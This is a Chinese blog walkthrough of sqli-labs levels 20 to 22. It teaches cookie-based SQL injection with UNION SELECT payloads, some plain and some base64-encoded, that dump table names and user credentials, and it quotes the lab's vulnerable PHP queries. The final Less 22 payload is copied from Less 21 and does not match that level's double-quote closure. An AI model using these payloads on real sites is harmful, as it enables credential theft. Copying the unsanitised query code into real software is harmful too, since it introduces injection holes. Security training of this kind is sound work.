sqli-labs 通关指南:Less 20 ~ 22

Less 20 ~ 22 都不能在登录界面进行注入,我们需要先发现注入点在 cookie 中。注入的过程和 Less 1 ~ 4 的 UNION 注入相同,不过 Less 21、22 意图利用编码的方式进行混淆和防御。

Less 20

POST-Cookie injections-Uagent field-Error based (基于错误的 cookie 头部 POST 注入)

判断注入类型

首先随便输入正确的用户名和密码进行登录,观察到网页回显了大量信息。再次刷新,Less 20 的页面没有变化,这应该是 cookie 起到的作用。cookie 是网站为了辨别用户身份,进行 Session 跟踪而储存在用户本地终端上的数据。想要回到登录页面,我们需要先把 cookie 清除掉。

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#


为了发现注入点,我们抓包看看,首先抓登录网页发的包,没有看见什么有用的信息。

登陆之后刷新页面,我们发现此时网页通过 cookie 记录用户登录状态,所以无需再次登录。注意到所抓到的包的 cookie 中存储了用户名,由此猜测 uname 字段是个注入点。

在 uname 中使用单引号闭合,网页回显语法错误,说明 cookie 存在字符型的 Sql 注入漏洞。

Cookie: uname=admin'


注入单引号之后用 “#” 把后面的内容注释掉,网页回显正常,说明该语句使用单引号闭合。

Cookie: uname=admin'#

获取数据库信息

首先我们判断有几列我们可用,因为网页回显了 Login name、Your Password 和 ID 3 个字段,猜测有 3 列我们可用。使用联合查询注入 3 个常数验证猜想,得到 3 列的回显位置。

Cookie: uname=' UNION SELECT 1,2,3#


接下来的注入操作和 Less 1 的操作一样,这里需要在 cookie 进行注入,爆数据库名。

Cookie: uname=' UNION SELECT database(),2,3#


爆表名。

Cookie: uname=' UNION SELECT group_concat(table_name),2,3 FROM information_schema.tables WHERE table_schema = 'security'#


爆字段名。

Cookie: uname=' UNION SELECT group_concat(column_name),2,3 FROM information_schema.columns WHERE table_schema = 'security' AND table_name = 'users'#

获取目标信息

该关卡知道 Sql 注入点之后就很顺畅了,构造出 payload 如下:

Cookie: uname=' UNION SELECT group_concat(concat(":",username,password)),2,3 FROM security.users#

关卡源码

源码有两个关键部分,第一部分用于用户登录,可以看到 uname 和 passwd 都进行了强效的过滤。setcookie() 函数向客户端发送一个 HTTP cookie,当用户成功登录时会被调用。header() 函数向客户端发送原始的 HTTP 报头,此处可以让客户的页面跳转到 “index.php”。

if(isset($_POST['uname']) && isset($_POST['passwd']))
{
      $uname = check_input($_POST['uname']);
      $passwd = check_input($_POST['passwd']);

      $sql = "SELECT  users.username, users.password FROM users WHERE users.username=$uname and users.password=$passwd ORDER BY users.id DESC LIMIT 0,1";
      $result1 = mysql_query($sql);
      $row1 = mysql_fetch_array($result1);
      $cookee = $row1['username'];
      if($row1)
      {
            echo '<font color= "#FFFF00" font size = 3 >';
            setcookie('uname', $cookee, time()+3600);	
	    header ('Location: index.php');
	    echo "I LOVE YOU COOKIES";
	    echo "</font>";
	    echo '<font color= "#0000ff" font size = 3 >';			
	    //echo 'Your Cookie is: ' .$cookee;
	    echo "</font>";
	    echo "<br>";
	    print_r(mysql_error());			
	    echo "<br><br>";
	    echo '<img src="../images/flag.jpg" />';
	    echo "<br>";
      }
      else
      {
            echo '<font color= "#0000ff" font size="3">';
	    //echo "Try again looser";
	    print_r(mysql_error());
	    echo "</br>";			
	    echo "</br>";
	    echo '<img src="../images/slap.jpg" />';	
	    echo "</font>";  
      }
}

第二部分是当 cookie 还未过期时,就把 cookie 中的 uname 剥离出来进行一个查询。如果查询用户存在,则把 HTTP 包中的 USER AGENT、IP ADDRESS 和 COOKIE 回显出来,并显示 username、password 和 id。在上面一个模块用户登录成功之后,也是进入这个模块显示的页面。当触发 “Delete Your Cookie!” 按钮时,可以手动把 cookie 给打掉。

if(!isset($_POST['submit']))
{
      $cookee = $_COOKIE['uname'];
      $format = 'D d M Y - H:i:s';
      $timestamp = time() + 3600;
      echo "<center>";
      echo '<br><br><br>';
      echo '<img src="../images/Less-20.jpg" />';
      echo "<br><br><b>";
      echo '<br><font color= "red" font size="4">';	
      echo "YOUR USER AGENT IS : ".$_SERVER['HTTP_USER_AGENT'];
      echo "</font><br>";	
      echo '<font color= "cyan" font size="4">';	
      echo "YOUR IP ADDRESS IS : ".$_SERVER['REMOTE_ADDR'];			
      echo "</font><br>";			
      echo '<font color= "#FFFF00" font size = 4 >';
      echo "DELETE YOUR COOKIE OR WAIT FOR IT TO EXPIRE <br>";
      echo '<font color= "orange" font size = 5 >';			
      echo "YOUR COOKIE : uname = $cookee and expires: " . date($format, $timestamp);
			
      echo "<br></font>";
      $sql = "SELECT * FROM users WHERE username='$cookee' LIMIT 0,1";
      $result = mysql_query($sql);
      if (!$result)
      {
            die('Issue with your mysql: ' . mysql_error());
      }
      $row = mysql_fetch_array($result);
      if($row)
      {
            echo '<font color= "pink" font size="5">';	
            echo 'Your Login name:'. $row['username'];
            echo "<br>";
            echo '<font color= "grey" font size="5">';  	
            echo 'Your Password:' .$row['password'];
            echo "</font></b>";
            echo "<br>";
            echo 'Your ID:' .$row['id'];
      }
      else	
      {
            echo "<center>";
            echo '<br><br><br>';
	    echo '<img src="../images/slap1.jpg" />';
	    echo "<br><br><b>";
	    //echo '<img src="../images/Less-20.jpg" />';
      }
      echo '<center>';
      echo '<form action="" method="post">';
      echo '<input  type="submit" name="submit" value="Delete Your Cookie!" />';
      echo '</form>';
      echo '</center>';
}	
else
{
      echo '<center>';
      echo "<br>";
      echo '<font color= "#FFFF00" font size = 6 >';
      echo " Your Cookie is deleted";
      setcookie('uname', $row1['username'], time()-3600);
      header ('Location: index.php');
      echo '</font></center></br>';
}		

Less 21

Cookie Injection-Error Based-complex-string (基于错误的复杂的字符型 Cookie 注入)

判断注入类型

输入正确的用户名和密码进行登录,和 Less 20 一样网页回显了大量信息,再次刷新 Less 21 的页面没有变化。判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#


抓登录网页发的包,没有看见什么有用的信息。

登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。

“%3D” 是 URL 编码中的等号,这个形式我们会优先考虑是 base64 编码,拿去解码看看。

由此我们得知 cookie 会对 uname 进行 base64 编码,这种防御还是很弱的,我们测试的时候也进行 base64 编码即可。在 uname 中使用单引号闭合,网页回显语法错误。

Cookie: uname=YWRtaW4n


测试使用单引号和括号闭合,网页正常回显数据,说明 cookie 存在使用单引号和括号闭合的字符型的 Sql 注入漏洞。

Cookie: YWRtaW4nKSM=

获取数据库信息

判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。

Cookie: uname=JykgVU5JT04gU0VMRUNUIDEsMiwzIw==


接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。

Cookie: uname=JykgVU5JT04gU0VMRUNUIGRhdGFiYXNlKCksMiwzIw==


爆表名。

Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdCh0YWJsZV9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEudGFibGVzIFdIRVJFIHRhYmxlX3NjaGVtYSA9ICdzZWN1cml0eScj


爆字段名。

Cookie: uname=JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb2x1bW5fbmFtZSksMiwzIEZST00gaW5mb3JtYXRpb25fc2NoZW1hLmNvbHVtbnMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyBBTkQgdGFibGVfbmFtZSA9ICd1c2Vycycj

获取目标信息

构造出 payload 如下:

Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj

关卡关键源码

setcookie('uname', base64_encode($row1['username']), time()+3600);

$cookee = base64_decode($cookee);
$sql = "SELECT * FROM users WHERE username=('$cookee') LIMIT 0,1";
$result = mysql_query($sql);

Less 22

Cookie Injection-Error Based-Double Quotes-string (基于错误的双引号字符型 Cookie 注入)

判断注入类型

判断注入类型,在用户名和密码都使用下面的所有注入,网页都回显登录失败。

a' OR 1 = 1#
a') OR 1 = 1#
a')) OR 1 = 1#
a" OR 1 = 1#
a") OR 1 = 1#
a")) OR 1 = 1#


登陆之后刷新页面抓包,所抓到的包的 cookie 中的 uname 存储了一团乱码。

“%3D” 是 URL 编码中的等号,Less 22 使用的也是 base64 编码。

在 uname 中使用单引号闭合,网页回显语法错误。

Cookie: uname=YWRtaW4n


测试使用双引号闭合,网页正常回显数据,说明 cookie 存在使用双引号闭合的字符型的 Sql 注入漏洞。

Cookie: YWRtaW4iIw==

获取数据库信息

判断有几列我们可用,使用联合查询注入 3 个常数,得到 3 列的回显位置。

Cookie: uname=IiBVTklPTiBTRUxFQ1QgMSwyLDMj


接下来的注入操作和 Less 20 的操作一样,在注入之前使用 base64 编码,爆数据库名。

Cookie: uname=IiBVTklPTiBTRUxFQ1QgZGF0YWJhc2UoKSwyLDMj


爆表名。

Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KHRhYmxlX25hbWUpLDIsMyBGUk9NIGluZm9ybWF0aW9uX3NjaGVtYS50YWJsZXMgV0hFUkUgdGFibGVfc2NoZW1hID0gJ3NlY3VyaXR5JyM=


爆字段名。

Cookie: uname=IiBVTklPTiBTRUxFQ1QgZ3JvdXBfY29uY2F0KGNvbHVtbl9uYW1lKSwyLDMgRlJPTSBpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyBXSEVSRSB0YWJsZV9zY2hlbWEgPSAnc2VjdXJpdHknIEFORCB0YWJsZV9uYW1lID0gJ3VzZXJzJyM=

获取目标信息

构造出 payload 如下:

Cookie: dW5hbWU9JykgVU5JT04gU0VMRUNUIGdyb3VwX2NvbmNhdChjb25jYXQoIjoiLHVzZXJuYW1lLHBhc3N3b3JkKSksMiwzIEZST00gc2VjdXJpdHkudXNlcnMj

关卡关键源码

$cookee = base64_decode($cookee);
$cookee1 = '"'. $cookee. '"';
$sql = "SELECT * FROM users WHERE username=$cookee1 LIMIT 0,1";
$result = mysql_query($sql);
原文地址:https://www.cnblogs.com/linfangnan/p/13853110.html